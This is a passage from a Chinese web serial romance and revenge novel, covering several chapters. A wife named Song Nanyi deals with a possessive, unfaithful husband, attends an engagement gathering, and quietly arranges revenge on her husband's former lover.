“那宝宝呢?”
“被送到了福利院。”
“天哪,那可是他的孩子啊,自己的孩子,是怎么舍得送到福利院,简直是造孽啊。”
路姐恨得不行。
她甚至都无法理解,这种人的心理。
“这个男的就应该去死。”
宋南伊苦涩扯唇,“是啊,他是死了,在她老婆难产离开的时候,她抱着小三的照片,跳河殉情了。”
“还有这事……”
路姐感觉被毒到了。
这是什么狗血结局啊。
殉情?
还是抱着小三的照片?
这么爱,当初小三死的时候,干嘛不去死嘛。
“……太太,我真的是第一次听这种事情,简直是闻所未闻,我真的是……”
无语他妈给无语开门,无语到了家了。
宋南伊勉强一笑。
“他们爱得挺轰轰烈烈的。”
“太太,你管这个叫轰轰烈烈啊,我们都管这个叫天道好轮回,他早该死了,死得太晚了,害人精。”
宋南伊觉得路姐说的是对的。
天道好轮回,苍天能放过谁呢。
……
傍晚的时候。
霍时序打电话给宋南伊,晚上要请她去法国餐厅用餐。
“我让江淮去接你。”他嗓音温柔。
宋南伊刚刚睡醒,音色中透着慵懒,“不用了,我自己打个车过去。”
“这是睡了一下午?”
“有点困。”她打了个哈欠。
男人心情颇好地笑了笑,“那晚上应该有精神了。”
他话里的意思明显。
她选择忽视,“几点到?”
“六点吧。”他说。
“嗯。”
宋南伊生的美,不用华丽的服装,高定的珠宝,都是无法忽视的存在。
但她还是稍稍做了一些准备。
她的脖子极为好看。
简单的露肩香奈儿修身小衣,将颈子和身材的美,毫无保留地展现出来。
当宋南伊出现在霍时序视线内的时候。
他惊艳到了。
他的眼神,大胆,肆意,欲望明显。
从精致的小脸,到盈盈一握的腰肢,他恨不得现在就吃了她。
宋南伊是美的。
从来都是。
他绅士地替她拉开椅子,趁她坐下的时候,在她的香肩上吻了一下,“我老婆,永远是最耀眼的存在,真想把你藏起来。”
霍时序这个人,就是这样。
他把宋南伊视为自己的私有物品。
他无暇顾及的时候,她便黯淡无光。
一旦有人跟他急抢,她便成了独一无二的存在。
哄鬼,都没这么敷衍。
“怎么,突然,请我来吃饭了?”
前世感情好的时候,倒也是经常一起在这种高档餐厅用餐。
自从苏语安出现,他的心思便不在她身上。
回忆起来,挺替自己伤心的。
服务生拿了一瓶上了年份的红酒过来,打开,倒进了醒酒器中。
“最近真的是发生了太多的事情,我们两个,独处的机会太少,是我的不对,今天晚上,我们好好地重温一下,以前的时光,好吗?”
他拿出一个四四方方的首饰盒,打开是一副漂亮的粉钻耳坠,细细长长的,璀璨耀眼,“南伊,送你的,喜欢吗?”
第69章 眼神直勾勾的
她恬淡一笑,“喜欢。”
男人有些动情。
起身,绕到她的身后,“那我给你戴上。”
“好啊。”
他的手法极为小心与温柔。
粉色的钻石耳坠,与白皙的肌肤,相得益彰,更添几分韵味。
他想吻她。
她巧妙地避开了,“我还真有点饿了。”
“那……先吃饭。”虽然有些扫兴,但他没在乎,也不急在这一时。
宋南伊喝了几杯红酒。
小脸渐渐晕红,有几分慵懒在里面,霍时序不知道为什么,突然好想表白。
“南伊,这辈子娶了你,真的觉得很幸福。”他握着她的小手,在掌中摩挲着,“就算你爱耍小脾气,爱猜忌,爱胡思乱想,这都不影响我对你的爱。”
宋南伊淡淡地望向他。
她是有点醉,但又不傻。
真情和假意,她还是分得清。
“霍时序,你娶任何女人,都会有幸福感的。”她笑着,唇角是淡淡的梨涡,引人入胜。
“当然不会,我很小的时候,就喜欢你。”
他以为他说这些是情调。
在宋南伊听来,虚伪透顶。
“别这样说,你初恋可不是我,你追我那七年,你不也跟你的前任们,藕断丝连吗?”
前世,她不提这些事。
那是因为她爱在当下。
并不是她什么都不知道。
霍时序稍微有点尴尬,“年轻不懂事,确实谈过几段不成熟的恋爱,但你不能否认,我最爱的是你,要不然,我也不会跟你结婚。”
她笑望着他,满是不在意,举杯,“谢谢喽。”
他望着眼前的女人。
突然有了一种陌生感。
她好像又变回了从前一样。
但好像,又不一样。
她的眼底似乎在酝酿着什么。
至于是什么,他现在还猜不到。
“你……生气了?”不管他心口有多少的疑惑和猜忌,他仍然想解释,“……以前虽然做了很多不靠谱的事情,但是,我从来都没有逾越过雷池一步,我只是跟你……”
“没事,那时你又没结婚,我不在意的。”
“我跟苏语安也没有。”他知道,她在意,很深的在意,“南伊,我和她没有发生过关系,有很多事情,以后我会告诉你。”
“干嘛提那么扫兴的人呢。”宋南伊有些不高兴了。
眼底一片潮湿。
霍时序心口一软,“抱歉,我只想解释一下。”
晚餐,谈不上推心置腹,倒也难得和谐的结束。
他将外套轻轻地披在女人的肩上,揽着她的肩往外走。
今天心情不错。
每一个为霍时序服务过的人,他都给了足额的小费。
出门时。
遇到来用餐的陆为谦。
他身旁跟着一位年轻的女孩,宋南伊认得她,江城纸业大王家的千金--江姝言。
霍时序对付陆家。
令陆家元气大伤,选择跟江家联姻,是再正确不过的选择。
她能理解陆为谦的选择。
就是有点替裴吟遗憾。
“好巧啊,陆律师。”霍时序率先打了招呼。
陆为谦抬眸看向宋南伊,也就那么一秒,他便收回视线,落到了霍时序的面上,“是挺巧的。”
“这位是……”霍时序特意将视线,落到了江姝言的面上,“……如果我没记错的话,你是江富国的千金吧?”
江姝言讶异于霍时序认得她。
嫣然一笑,“江总记性好好哦,我是江姝言。”
女孩将手伸向了霍时序。
霍时序轻笑,避讳地说,“陆律师在,我就不跟你握手了,免得他吃醋。”
江姝言脸色一红,娇羞地看向了陆为谦。
陆为谦的视线则全程都在宋南伊的身上。
霍时序不喜欢他这种,肆无忌惮地觊觎。
将宋南伊搂得更紧,“南伊喝了些酒,我们就先回去了。”
“霍总慢走。”江姝言很有礼貌地挥手告别。
回过神来。
江姝言挽着陆为谦的手臂,往餐厅里走,“为谦哥,你认识霍总的太太吗?”
“怎么这么问?”
“我看你的眼神直勾勾的,如果不认识她,那就是对她有意思?”似乎觉得这样说不妥,江姝言换了种说法,“毕竟她结婚了,应该说仰慕,你很仰慕她吗?”
“工作上有过接触,今天遇到,有些意外而已。”
他否认了。
轻描淡写的。
江姝言总觉得陆为谦看宋南伊的眼神,没那么简单。
但也说不上来,是哪里奇怪。
索性也不自寻烦恼。
“我好久没来这家餐厅了,一会儿,我们喝点红酒吧,我在这儿还存着酒呢。”江姝言邀请。
陆为谦便也没有推辞,“好。”
……
回家的路上。
宋南伊没有说话。
车子开得很慢。
没有直接开回家,而是在江城大道上,一圈又一圈地绕。
“心情不好?”他问。
宋南伊掀起眼皮,看了他一眼,“怎么这么问?”
“很明显。”
“没有。”她否认。
“陆家要和江家联姻了,订婚礼,在下个月八号,到时,你跟我一起去参加。”
霍时序说这话的意思。
分明就是想让宋南伊死心。
宋南伊心无波澜。
她与陆为谦本无情,全凭霍时序的想象。
挺无聊的。
“你把陆家整得那么惨,陆家还会邀请你去参加订婚礼?”听着都像一个笑话。
宋南伊对商界上这些复杂的关系不懂。
霍时序也不怪她。
只是淡笑了一下,“应该会的。”
“既然陆江两家都要联姻了,你何必还要把陆家赶尽杀绝呢?这事因我而起,我总觉得对不起陆律师。”宋南伊轻轻的抱住了霍时序的胳膊,靠在他的肩上,软软的,“老公,放过陆家吧,我不想成为罪人。”
一声‘老公’,叫酥了霍时序的骨头。
打击陆家的初衷,确实是想给陆为谦一点教训。
但现在而言,这成了商业计划的一部分。
一旦进入,想撤回,就变得很难。
“其实,陆家没有你想象的那么弱,我也没有刻意的针对陆氏,只不过,是收购了一小部分他们没有盘活的资产,你不必过于放在心上。”
宋南伊怎么会不放在心上。
事情因她而起。
陆家是无妄之灾。
霍时序不是好商量的主。
尤其是牵扯到利益。
她想着,日后见了陆为谦,再好好说声抱歉。
……
车子在江城大道,转了几圈后,回到了二人的家。
霍时序将宋南伊抱下车子。
一路往屋里走。
路姐看到他们回来,便赶紧开了门,“先生,太太,你们回来了。”
霍时序点头,抱着宋南伊直接上了楼。
关上卧室的门,不容分说地就去吻她。
宋南伊没有感觉,小手抵在他的胸前,无声抗拒。
男人来了兴致,哪是她这点力气,就可以拦得住的。
露肩的小衣,被褪到腰间,他抱起她,双双跌进了大床里……
第70章 摧毁依靠
清晨。
**又给宋南伊发来了信息。
苏语安住院的这段时间,除了白梅去过一趟,去得最多的就是苏景晨。
也难为这对姐弟了。
总是给人一种相依为命的感觉。
既然他们相互依靠。
那她就摧毁这种依靠。
伸了个懒腰。
浴室的门,突然打开。
霍时序从里面走了出来。
宋南伊吓了一跳,“你……没去公司?”
“今天是周日,我们一起回老宅。”他擦着头发,温柔地跟宋南伊说话,“爷爷最近老念叨你,担心你的心情,咱们回去一趟,他也好安心。”
宋南伊不去,显得不懂事。
去,难为的是自己。
她不说话。
空洞地盯着某处发呆。
他便俯身过来,用鼻尖蹭了蹭她的鼻尖,“跟你说话呢,怎么还走上神了?”
“我今天,其实还有别的事情。”她想找个理由搪塞过去,“很早就跟裴吟约好了,今天要去爬山的,她很忙,难得我们聚一下。”
男人的脸色有些难看。
他不喜欢,宋南伊拒绝。
她只好使出惯用的伎俩,低低柔柔地说,“你能不能跟爷爷说一声,下周我再去看他老人家好吗?也让他放心,不要总是担心我,好吗老公?你是最好的老公了……”
宋南伊一撒娇。
霍时序就跟中了蛊一样,本不想答应的事情,也有了商量的余地,“既然早就约好了,那我就跟爷爷说一声,你们去哪爬山啊?”
“我们先去爬福泽山,然后去山顶的雪顶咖啡坐一会儿,下来后,我们就去SPA,一天安排得挺满的。”
宋南伊信口胡说着。
她知道,霍时序没有精力,去验证这些事情的真假。
“你要不信,你可以让江淮跟着我。”
“有那个必要吗?”他同意了,“你们好好玩,难得放松一下。”
在她温柔的攻势下。
他甘拜下风。
“谢谢老公。”她像只柔软的小猫。
霍时序很吃这一套。
也就不难想通,他为什么会爱上苏语安。
那女的,还要更娇。
宋南伊把自己恶心坏了。
但还是要装下去。
她像一个贤惠的妻子,将霍时序送出去,再微笑着挥手告别。
第一次,感动于,自己的能屈能伸。
差不多在家里等了半个小时。
宋南伊这才出门。
她开着车,在路上给邓雪打了个电话,便去了工作室等她。
“邓雪,我有件重要的事情,要请你帮忙。”宋南伊首先表示了对邓雪的绝对信任,“这件事情,交给谁,我都不放心,只有你。”
邓雪突然要被委以重任,立马腰杆插直,“老板,有什么需要,你尽管吩咐,不必跟我客气。”
“还记得苏语安吗?”
邓雪点头,那个死绿茶,不会又出来作妖了吧?
“老板,她还在搅和你和霍总的生活呢?”提起这个人,邓雪是一肚子的意见,“真的老板,我也是搞不明白了,怎么男人都喜欢这种又茶又婊的女人啊,他们是不是脑子有问题啊?”
反正,霍时序也没在。
她替老板骂他两句,也是他应得的。
宋南伊笑笑,“能被勾引走的男人,也算不上什么好男人,我没那么在意……”
她的脸色缓缓沉下,“……但她处心积虑的,害**我弟弟,导致我妈病情加重,也相继去世,我绝对不会放过她。”
邓雪前段时间,也听说了此事。
她一直以为是谣传。
原来都是真的。
那这期间,老板受了多少的打击啊。
“老板……”邓雪要哭了。
“邓雪,我需要你的帮忙。”宋南伊冲邓雪勾了勾手指,她便附耳过来……
待宋南伊说完。
她拍了拍胸脯,“老板,你就放心吧,我保证完成任务。”
“这个……”宋南伊拉开抽屉,拿出一本房产证,“……邓雪,我知道你一直想买一套房子,这些年,你工作得很认真,这是你的奖励。”
一套离工作室很近的房子。
上班,步行也就十分钟。
不大八十平。
全款。
三百多万。
这是邓雪蒙昧以求的。
她快攒好首付了,老板突然这么大的手笔,她除了感激,还有些忐忑。
“老板,这我……不能要。”
“邓雪,你从大三就来到了工作室,跟在我身边也有好几个年头了,上次咱们开完发布会,我就想给你的,事情太多就没有……拿着吧。”
宋南伊将房产证,递到了邓雪的手里。
名字是她的,单独所有。
邓雪激动的指尖都在颤,她轻轻地抚摸着房产证上的名字,“我到底是中了什么基因彩票
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,遇到你这么好的老板,我有房了,我终于有房了……”
邓雪抱着宋南伊,哭得稀里哗啦。
“好了,真没出息,咱们好好干,到时我给你换别墅。”宋南伊笑着说。
邓雪头摇得像支拨浪鼓。
她已经很知足了。
做人贪得无厌,是大忌。
“老板,我有这个小房子,我已经很开心了,这样我就能把我妈接过来住,她就不会挨我爸的打了……”
邓雪哽咽着。
想到母亲终于可以脱离父亲的魔爪。
心潮澎湃。
宋南伊点点头。
人生又何止情爱这点事,遇到好的帮手,更是人生一大幸事。
这间珠宝工作室,是她的心血。
她人生的成就感,都是它带来的。
她希望,可以做大做强。
离开工作室后。
宋南伊找了家静谧的咖啡厅,独自坐了一下午。
期间,霍时序给她发了好几条信息,问她山爬得怎么样。
她找了几张网图,发给了他。
**再次发来了邮件。
是苏语安的病例。
烈性的打胎药,导致她身体的各个器官受损,尤其是生殖系统,损伤严重。
这是宋南伊想看到的结果。
苏语安,彻底失去了当妈妈的机会。
爽。
这次是真的有点爽了。
退出邮箱,宋南伊给**,发了一个万元的红包,表示感谢。
……
没有宋南伊陪在身边。
霍时序连跟老爷子下棋都在走神。
霍正诚抬手敲了一下霍时序的脑袋,“跟爷爷下棋,还在想三想四地,是不是又想苏语安那个小妖精了?”
“爷爷,我跟苏语安的关系,不是你们想的那样。”霍时序落下一子。
老爷子冷哼,“只上床,不谈感情?”
“我没跟她上过床,你们都误会了。”
“不管我们是不是误会,你总得给南伊一个交代吧?人家天天跟你后面,给你擦屁股……就上次,你爸就给了她0.5%的股份……”老爷子万分地看不上自己儿子的小气,“……要换成我,我就不干,那记者会,爱谁开就谁开。”
霍时序:……
虽然0.5%的霍氏股权,听起来不多。
但是市值高啊。
相对来说,也不少了。
“南伊挺懂事的。”霍时序唇角是满意的弧度。
第71章 吃绝户
“正因为她懂事,你才万不可欺负她。”老爷子将棋子落下,“将军。”
“我又输了。”
霍时序笑着摇头。
霍正诚也看出来了,他这个孙子,心都不在这儿。
“宋家出了这么多的事情,你也要经常去看看你岳父,这个时候,你不好好表现,南伊离开你,是早晚的事情。”
霍时序确实,对宋家有一些想法。
宋知令已经没有打理公司的心情,如果公司落到宋南伊的身上,她也会焦头烂额。
权衡之下……
“爷爷,我想把宋家的公司,合并到霍氏。”
霍正诚虽已不再过问霍氏的发展。
但这事,非同小可。
南伊难免不会多想,“这事,你要多跟南伊商量,听她的意见,她愿意才行,切不可强行违背她的意愿。”
“知道了,爷爷。”
陪着老爷子喝了会儿茶。
霍时序起身准备回去。
开车路过花店时,他特意挑选了一束白色的玫瑰。
宋南伊喜欢白玫瑰。
但他已经很久没有送过她了。
霍时序回到家时,宋南伊正在摆弄,她那些花花草草。
被砍掉合欢树的空地上,她让人撒了玫瑰花的种子,来年应该会开花的。
可惜,她看不到了。
“送你的。”他将花递到她面前,“香水玫瑰。”
看起来,挺用心的。
却完全忘记了,她对这种喷了香水的香味过敏。
“嗯。”她把玫瑰花丢远,“以后不要给我买花了。”
“不喜欢?”他有些不快,宋南伊没给他面子,“就算不喜欢,也不必当着我的面丢掉吧?”
“这香味,我过敏。”她抬脸看向他,“你忘了?”
霍时序一时有些尴尬。
他确实是没有考虑周全。
抱歉道,“不好意思啊,我确实是……”
“没关系。”她又不在意。
霍时序还想说点什么。
唇刚动了动。
宋南伊便离开了他的视线。
他独自在客厅里坐了一会儿。
这才上楼去找宋南伊。
她正坐在阳台上看书,清闲安逸,岁月静好。
他轻步走到她面前,努力的想找个话题,“那个……我有件事情,要跟你商量一下。”
她没抬眸,嗯了一声,“什么事情?”
“是关于你们家公司。”
宋南伊翻书的动作一滞。
她似乎能预料到霍时序想说什么,但不确定,“我们家公司,怎么了?”
“你爸他现在无瑕管理公司,公司里有很多项目,还处在与霍氏合作的尾声,我想将宋氏合并进霍氏,这样,我也好帮忙。”
宋南伊刚刚猜到了。
他想吞并宋家唯一值钱的东西。
帮忙?
说的太好听了。
不就是想吃宋家的绝户吗?
婚姻,还真的没有让她绕太多的弯路,就精准的找到了自己的报应。
她垂眸,从容地望着书本上的内容,淡淡地说,“霍时序,我们宋家还没有死光呢。”
“我不是那个意思。”
“那你是哪个意思?”她抬眸看他,视线冰凉,唇角却带着平和的笑,“就算我爸现在没有精力管理公司,我们也可以雇职业经理人,让霍总你腾出精力来管理我们家氏,那实在是太大材小用了。”
霍时序的眉心压紧。
脸上透出不快,“至于,这么阴阳怪气吗?”
“实话啊。”
“我只是想帮个忙。”他说。
宋南伊脸上依旧带着笑,“谢谢你。”
这件事情上。
宋南伊不容商量。
霍时序揣着好心,却吃了闭门羹。
心里别提多不痛快。
他坐在二楼的书房里,抽着烟,望向院子里的白桦树……
假像。
一切都是假像。
她回来,是假像。
她的温柔和撒娇也是假像。
她看似平淡,温和更是假像。
可他明知道,都是假像,却不想去戳破它。
他怕。
是的,他怕极了那种撕心裂肺的互相伤害。
或许,时间可以改变一切吧。
……
几天后。
陆为谦给宋南伊打个电话。
说了自己下月要订婚的事情。
作为曾经的朋友和救命恩人,她送上了真诚的祝福。
“陆律师,恭喜你啊,找到了人生的伴侣,希望你们永远幸福。”
“以后,你可以喊我的名字。”陆为谦语调依然儒雅柔和,听不出轻浮,“如果你愿意的话。”
宋南伊笑笑,“好像叫陆律师,更顺嘴一些。”
陆为谦没勉强。
“南伊,订婚前,我约了朋友要聚一下,想邀请你和裴吟,不知道,你们有没有时间。”
宋南伊倒是有时间。
但
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是,她不怎么想去。
刚要想个理由拒绝,那头电话里的男人又说,“我想把姝言,正式地介绍给你们这些朋友,以后大家少不了见面的。”
这么一说。
宋南伊不好驳陆为谦的面子。
“好啊,那你订好时间和地点,发给我吧,我和裴吟一起过去。”
“谢谢你,南伊。”
挂断手机。
宋南伊托着腮,思来想去的,又觉得答应的太草率。
既然答应了。
她就得送一件,拿得出来的礼物。
至于送什么,送男款还是女款,她得好好想想。
……
聚会那天。
裴吟开车来接的她。
一上车,宋南伊察觉到了她的情绪有些低落。
“怎么了?”
裴吟左手撑在车窗上,单手扶着方向盘,兴致缺缺的,“不知道,就是……心里挺不透气的。”
“因为陆为谦要订婚的事情?”
裴吟没说是,也没说不是。
她的人生总是这样阴错阳差的。
她习惯了。
“害,不说了。”
“你要是不想去,我就给陆为谦打个电话,随便找个理由,他也不会追究的。”
宋南伊其实也不是很想去。
碍于面子,她才不得不答应下来。
裴吟的心情,对她来说很重要。
其次的,都是其次。
宋南伊拿出手机,找陆为谦的号码。
“南伊,算了,别搞得咱们跟见不得人似的。”
……
陆为谦定的地方,是江城最大的私人会所。
推开包厢的门。
里面男男女女的,几乎都是生面孔。
“南伊,裴吟,你们来了。”陆为谦牵着江姝言的手,过来迎客,“我给你们介绍一下……”
“你好们,我叫江姝言,马上就成为谦哥的未婚妻了。”
江姝言性格开朗。
宋南伊代表裴吟将礼物递了过去。
“我和裴吟选了几件小姑娘喜欢的首饰,江小姐,也不知道你的喜好,这是我们工作室设计的珠宝,希望你不嫌弃。”
首饰盒上印着宋南伊珠宝工作室的LOGO。
这个品牌在江城,小有名气。
每款发行的数量都不多,甚至有很多孤品,不易撞款,成为豪门阔太,千金小姐的钟爱首选。
“霍太太,原来这个牌子,是你创建的啊,我很喜欢。”
第72章 单身派对就是**
江姝言很给面子,欢天喜地地收下。
裴吟看了陆为谦一眼。
陆为谦回避了她,甚至还有些心虚地望向了别处。
裴吟并没想就此放过他。
大胆直接的说,“陆律师,我有些法律方面的事情,想要请教你一下,我们出去单独聊一下吧。”
宋南伊听出了裴吟的不甘。
江姝言就在跟前,宋南伊不希望裴吟失了体面,“裴吟,有什么要问的,改天吧,今天陆律师挺忙的。”
“耽搁不了太久,陆律师?”裴吟直直望住陆为谦。
他没法不给这个面子,“好。”
他转头跟江姝言说,“我马上回来。”
江姝言点头。
目送着陆为谦和裴吟离开后,她扭脸跟宋南伊说话,“他们之前是男女朋友吗?”
宋南伊其实,并不知道裴吟和陆为谦之间发生过什么。
“不是吧。”
“不是……吧?”江姝言年纪虽然不大,但极能洞察人心,“那就是有一些感情纠葛了。”
“当然没有。”宋南伊不想给裴吟招惹麻烦,“江小姐,你想多了,陆律师身为律师,当事人颇多,男的,女的,年轻的,年老的,要是这样猜忌起来,那就真没完没了了。”
江姝言笑笑,并不接受这样的解释,“霍太太,我自然理解为谦哥与当事人之间的关系,但是……不瞒你说,为谦哥对你是有一些仰慕在的,现在看来,裴小姐与他……他的感情世界,也并不干净,不是吗?”
宋南伊皱眉。
她不喜欢,被无端扯进别人的感情世界。
“江小姐,随意的乱揣测,很没礼貌的。”
看宋南伊变了脸色。
江姝言唇角笑意的弧度,越发的大了起来,“霍太太,你这么小气的?是心虚吗?”
宋南伊有点生气了。
她可以回呛这个没礼貌的江姝言几句。
但又觉得没必要。
会让陆为谦会很难堪。
“江小姐,率性直爽是好事,但是胡说八道,可有点欠妥。”
宋南伊微微一笑。
转身离开。
名门千金,大多不是软萌小白兔,她们独立,有自己的想法,更有底气,将自己的不满和委屈,当场发泄出来。
她们大多是慕强的。
而陆为谦的性格和脾气,又偏为沉稳和谦和。
联姻之下。
这位大律师的日子,应该不会好过。
刚想找个地方坐下。
包厢的门,被推开。
一道高大修长的身影,走了进来。
所有人的目光,都被这道身影所吸引……
一身笔挺的西装,身姿挺拔,眼眸深邃,高挺的鼻梁下,唇角紧绷着,令人不寒而栗,难以靠近。
有几位朋友认出了他。
抬手打了个招呼。
江姝言更是透出令人难以理解的,兴奋,几步就来到了男人面前。
“霍先生,你好给面子啊,我还以为请不动你呢。”
宋南伊眉心微动。
她虽未看向霍时序,但她能感受到他的眼神,肆无忌惮地落到了自己的身上。
刚好这时。
裴吟走了进来。
宋南伊刚要走过去。
霍时序已经来到她面前,扣住了她的手腕,“你还真在这儿。”
“陆律师邀请我过来,我就来了。”
她没心虚。
光明正大的。
霍时序爱怎么想,就怎么想。
“订婚前的单身派对,是个人都知道,这是干什么的。”霍时序将宋南伊扯到窗口前,用窗帘将二人遮挡住,咬着她的耳朵,恶狠狠地说,“不过就是……行**之事。”
宋南伊震惊。
这事是怎么想出来的?
包厢里,男男女女这么多,光天化日的,怎么就干这种事了?
“我是不是可以这么理解,在我们结婚前,你也开过这种派对,你也行过**之事?”
宋南伊反问他。
霍时序否认,“我根本就没有开过,什么单身派对。”
“那你是怎么说出,行**之事,这样的话来的?不是经验之谈?”
“你……”
他不说话了。
气氛一时变得微妙。
宋南伊瞪向他,不容他回避,“霍时序,不要用你肮脏的心,来揣测别人。”
“我肮脏?”他有些被气笑,“是我肮脏,还是你肮脏?你答应过我什么,你自己都忘了吗?你说过,不会再跟陆为谦见面,你们不会再发生什么?那你为什么会出现在这儿?你告诉我。”
“我只是……”
她明明光明正大的。
反而,现在给不了合适的,可以说服这个男人的理由。
“我……只是来送礼物的,我
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马上就要走。”
她转身。
他又把她重重地扯回了原地,“如果我不来,你还会走吗?宋南伊,你撒谎的时候,先说服自己,我不是傻子。”
“那你要怎样?”
这时。
陆为谦的声音传过来,“南伊,你在哪儿?”
“南伊……”
“南伊……”
南伊:“我在……唔……”
她的唇被堵住。
没有任何的征兆。
陆为谦循着声音走过来,一把扯开了窗帘,“你怎么在……”
他没想到,会看到如此香艳的一幕。
霍时序几乎把宋南伊纤瘦的身子,揉进自己的身体里,他握着她的后脑,吻得大胆,肆意。
像是要刻意展示什么。
包厢里,一大家子人,都看了过来。
“为谦哥,你看人家夫妻多恩爱呀,这分开这么一会儿,就迫不及待的……”江姝言掩唇笑着。
陆为谦后知后觉地,将窗帘重新拉好。
“好了,大家别看了,喝酒喝酒。”
陆为谦的心情,明显受到了影响。
他太了解霍时序了。
掌控欲,占有欲,强到不管不顾。
宋南伊不喜欢啊。
窗帘后面,宋南伊推不开霍时序,直接咬破了他的舌头。
“嘶……”他终于是松开了她,“……你属狗的?”
她瞪着他。
像要**般地瞪着。
他被她瞪得不自在。
想说几句软话,哄哄。
被宋南伊又瞪了回去。
他摸了摸鼻子,理亏刚刚的行为:“咬都咬了,气性怎么这么大。”
是她气性大吗?
是他根本没把她当个人。
她在他心里是什么?
一只狗,一只猫,一只会说话的鹦鹉,还是一只会下蛋的母鸡?
不重要了。
他给自己带来的伤害,她会加倍地还回去。
一分也不会让。
转身。
宋南伊往外走。
裴吟追上她,“霍时序那贱狗,怎么又跑这儿来了?他没怎么着你吧?”
“裴吟,送我回去吧,我累了。”
“嗯。”
陆为谦在宋南伊和裴吟走出来后,从里面追了出来,“南伊。”
“抱歉啊陆律师,我……有点不舒服,得回去了。”宋南伊的脸色明显不对劲。
第73章 越疯,这戏越有看头
陆为谦担心,“要是不舒服,就去医院瞧瞧,身体最重要。”
“嗯,放心吧。”
车子缓缓驶离。
江姝言,走了出来,站到了陆为谦的身边,“为谦哥,你以前到底有几个相好的啊?是不是你喜欢霍太太,但那个叫裴吟的喜欢你,你们是三角恋?”
陆为谦轻呵。
像听了个笑话,眼神噬骨寒凉,“你要是介意,可以取消订婚。”
“为什么要取消?我又不爱你。”江姝言玩着漂亮的指甲,风轻云淡的,“我们是联姻,各取所需,又不是要谈情说爱,天可崩,石可裂的,我不较真的。”
婚姻最大的悲哀,就是始于交易,终于价值。
人啊,一旦动了情,就会有无尽的烦恼。
江姝言比他活得通透。
“那以后就少说这些不着调的,我不喜欢听。”
江姝言挑高眉梢,“好吧,我尽量吧。”
……
裴吟的车子,刚开走。
霍时序的车子就轰着油门,追了上去。
一白一黑两辆车子,在江城的大道上,你追我赶。
裴吟气的要命。
“这贱狗跟我玩车技呢?他的命可比我值钱,把我惹**了,我就怼上去,同归于尽。”
宋南伊不能眼看着出事。
示意裴吟路边停车,“用你的命,陪葬他,不值得。”
“我看他也在气头上,你真要下车啊?”裴吟担心,霍时序会欺负宋南伊,“要不,我直接送你回娘家算了,他再怎么着,也不能跑到你家的去闹。”
“他还有什么做不出来的,裴吟,他已经不是从前的霍时序了,那个霍时序早已经**。”
车子靠边停好。
宋南伊推开车门下车,“裴吟,你回去吧,路上慢点开。”
“你真的可以吗?”她还是担心。
宋南伊递给她放心的笑,“没事,放心。”
裴吟离开。
霍时序的车子,开到了宋南伊身旁停下。
男人风风火火地从驾驶室里下来。
他焦急地望着她,将她拥进怀里,“别生气了行吗?”
他怕失去她。
可他又无法控制好自己的情绪。
嫉妒让他面目全非。
他也不喜欢,这样的自己。
“南伊,我答应你,以后绝不猜忌你,好吗?”
风吹乱了宋南伊的头发。
她看向他的眼神中,透着无尽的失望和憎恨。
就算,没有苏语安的出现,她和霍时序的感情,早晚也会出问题。
他对她失去了耐性。
失去了该有的信任。
哪怕不是陆为谦,哪怕是任何一个,他觉得有威胁性的男人出现。
他都会变成如今这番模样。
爱情变了质,是很难下咽的。
“霍时序,我累了,我们回家吧。”
“好,好。”
……
宋南伊跟霍时序冷战了。
也不能说是冷战,只是她单纯地不想跟他说话。
她知道他没有耐心的。
没几天,他夜宿知名女演员家的八封新闻,就又登上了江城的头版头条。
苏语安成了病秧子,他立马移情别恋。
男人啊,什么东西。
想到苏语安。
宋南伊给邓雪打了个电话,“怎么样了?”
“老板,苏景晨到底是单纯,只要稍微对他好一点,他就掏心掏肺的,我们已经确立关系了,明天苏语安出院,我会让他陪我去看电影。”
邓雪做事向来干脆利落。
宋南伊很欣赏她这一点。
“苏语安是个疯子,你小心一点。”
“老板,她越疯,这戏,越有看头不是吗?”
宋南伊笑了,“邓雪,我还真有点小瞧你了。”
“老板,你要这么说,我可就骄傲了。”
宋南伊心情不错。
邓雪确实是得力。
她准备这事过后,好好地提拔她。
霍时序的绯闻,并没有像往常那样,登上头条快,下头条更快。
一连发酵了三天。
惊动了霍家老爷子。
“是嫌我活得太长了是不是?我没病死,得让他气**。”霍正诚的拐杖,重重的杵着地面,砰砰地响,“明达,他人呢?你的好儿子人去哪儿了?还在那个女明星的被窝里吗?”
霍明达脸色发青。
每次霍时序惹事。
他这个父亲,比儿子还孙子。
“爸,我哪知道他在哪儿啊,要不,我给他打个电话。”
“打啊,傻愣在这儿干嘛?”霍正诚的怒火从霍明达的身上,转移到了孙爱芸的头上,“还有你这个妈,是怎么当的?这儿子可是你从小养大的,到底是怎么教育的?”
“我又不是他亲妈,他能听我的吗?”孙爱芸呢呢喃喃的
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,又怕霍正诚听到,又想让他听见,“这孩子从小就是人前一面,人后一面,您又不是不知道。”
“你说什么?”霍正诚耳朵不好,没太听全,但大概意思他懂了,“好好的一个孩子,交到你手上,你看看变成什么样子了?还在这儿推卸责任。”
孙爱芸撇嘴。
反正,她在这个家里,说什么错什么。
一天也呆不下去。
霍明达打完电话过来,“他说在公司开会,得开完会,才能过来。”
“他还怪忙的。”老爷子气不顺,看到霍明达杵在自己面前,抬脚踢到他直接跪下,“这儿子长成今天这样,你这个当爸的,责任最大。”
“我可没教他,在外面玩女人。”霍明达不服气地说。
老爷子抬腿又是一脚。
霍明达差一点趴下,“爸,您气不顺,等时序回来,您打死他,我都没意见。”
“我打死他,你就**了。”
霍正诚责备儿子的同时,也很自责。
如果当年,霍时序的亲生母亲,没有离开。
他兴许,也不会这样……
“蓝旗她……在挪威还好吗?”
霍明达摇头。
他从未去看过她。
但他知道,霍时序近来,去得很频繁,“不太清楚,我猜病情应该是加重了。”
“我们霍家对不起她。”
“爸,没人对不起她,是她执意要离开……”霍明达不想提过去的事情,“……爸,她现在已经不是霍家的人了,没必要提她。”
霍正诚没再说下去。
在霍家,蓝旗这个名字,是个禁忌。
在孙爱芸心里,蓝旗是根刺。
刺了她二十多年。
……
苏语安出院的日子。
一大早就给苏景里打电话,想让他过来接她。
电话打了几遍,都没人接听。
她独自去交了费,办理好了手续。
又给他打了过去。
终于是通了。
“景晨,你在哪儿呢?今天我出院,你怎么还不过来?”
手机听筒的那头,熙熙攘攘的,“姐,我不能去接你了,我答应了我女朋友,陪她看[三太子]。我们在电影院呢。”
“什么女朋友?”苏语安以为自己听错了,“你什么时候交的女朋友?景晨,你对她了解吗?你要不要先带给姐姐看看,你再确定要不要交往?”
第74章 一命偿一命
“姐,她是个很好的人,很会照顾人的,先不跟你说了,电影马上就开始了,一会儿再说。”
“喂,喂,景晨,景晨……”
手机传来挂断的盲音。
